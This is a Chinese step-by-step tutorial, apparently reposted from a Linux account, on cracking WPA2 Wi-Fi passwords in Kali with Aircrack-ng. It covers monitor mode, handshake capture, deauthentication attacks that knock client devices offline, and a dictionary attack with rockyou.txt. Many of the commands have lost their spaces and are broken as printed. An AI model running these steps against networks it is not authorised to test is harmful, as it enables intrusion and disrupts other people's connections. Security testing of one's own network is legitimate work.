准备好 [kali] 系统,电脑可以链接无线 wifi!! 使用 Aircrack-ng 进行暴力破解,linux 上已经安装此工具!
1. 执行以下命令查看电脑设备
iwconfig
检查出现 wlan0 即可! 因为本人电脑的特殊性,有一个单读网卡 wlan1(本案例用的 wlan1)
2. [监听]附近网络:
airmon-ngstartwlan0
完成上述操作后,我门内再次用iwconfig的命令查看此时会如下图出现 wlan0mon,说明已经进入监听状态
3. 扫描附近的网络,开启监听模式后无线网卡无法继续连接 wifi,使用后需要关闭监听模式
airodump-ngwlan0mon
wlan0 信道出现问题,无法监听到附近 wifi;
如果依然无法解决,那应该就是 wlan0 硬件有问题了,那么就只能购买无线 usb 驱动了(这样就出现了 wlan1)
使用命令airmon-ng stop wlan0mon停止 wlan0 的监听,本机监听 wlan1:
airodump-ngwlan1
下图即是监听到的 wifi
破解主要用到的BSSID以及CH; 这一步会输出两个列表,两个列表不停在刷新。 第一个列表表示扫描到的无线网络 AP 信息,会用到以下几列信息: BSSID:无线AP的硬件地址 PWR:信号强度,值是负数,绝对值越小表示信号越强 CH:无线网络信道 ENC:加密方式,我们要破解的是WPA2 ESSID:无线网络的名称 第二个列表表示某个无线网络中和用户设备的连接信息: BSSID:无线AP的硬件地址 STATION:用户设备的硬件地址 扫描列表会不停刷新,确定最终目标后按 Ctrl+C 退出。
4. 开始抓包,对自家 wifi 进行测试;使用命令:airodump-ng –bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon(本机是 wlan1)
airodump-ng--bssidDC1812:3A-c1-w/home/wifiwlan1#信道1
station:链接的设备物理地址
5. 打开一个新的终端,开始对目标设备发起攻击,使用命令:aireplay-ng -<攻击模式> < 攻击次数 > -a 无线 AP 硬件地址 > -c < 用户设备硬件地址 > < 处于监听模式的网卡名称 >
对应会生成如图文件,在 /home/wifi 下:
aireplay-ng-00-cF8D613:C5-aDC1812:3Awlan1
扫描过程中如果有用户设备尝试连接 Wi-Fi 时,我们就会拿到握手包。
只有当扫描状态后面出现 ][ WPA handshake: DC1812:3A 后,我们才拿到拿到进行破解的握手包。
所以我们可以同时使用 aireplay-ng 对目标设备进行攻击,使其掉线重新连接,这样我们就拿到了握手包。
拿到握手包后按 Ctrl+C 结束扫描即可。
发起攻击后,当 airodump-ng 成功拿到了握手包,使用 Ctrl+C 退出攻击。
查看握手包 wifi-01.cap,如果出现多个选择数字大的,如 wifi-02.cap、wifi-03.cap·······
6. 开始暴力破解 wifi 密码,使用命令:aircrack-ng -w 密码字典 <包含握手包的 cap 文件>
本人使用 kali 自带的字典:目录/usr/share/wordlists
aircrack-ng-w/usr/share/wordlists/rockyou.txt/home/wifi-01.cap
这将会耗费很多时间,最终获取到密码或者没有获取到密码(那需要你更换一个密码词典再次尝试)
7. 信号更换命令:
iwconfigwlan1channel7
审核编辑:汤梓红
-
Linux
+关注
关注
87文章
11291浏览量
209309 -
WIFI
+关注
关注
81文章
5295浏览量
203562 -
kali
+关注
关注
0文章
14浏览量
3937
原文标题:会用 kali 破解 wifi 吗?
文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。
发布评论请先 登录
相关推荐
评论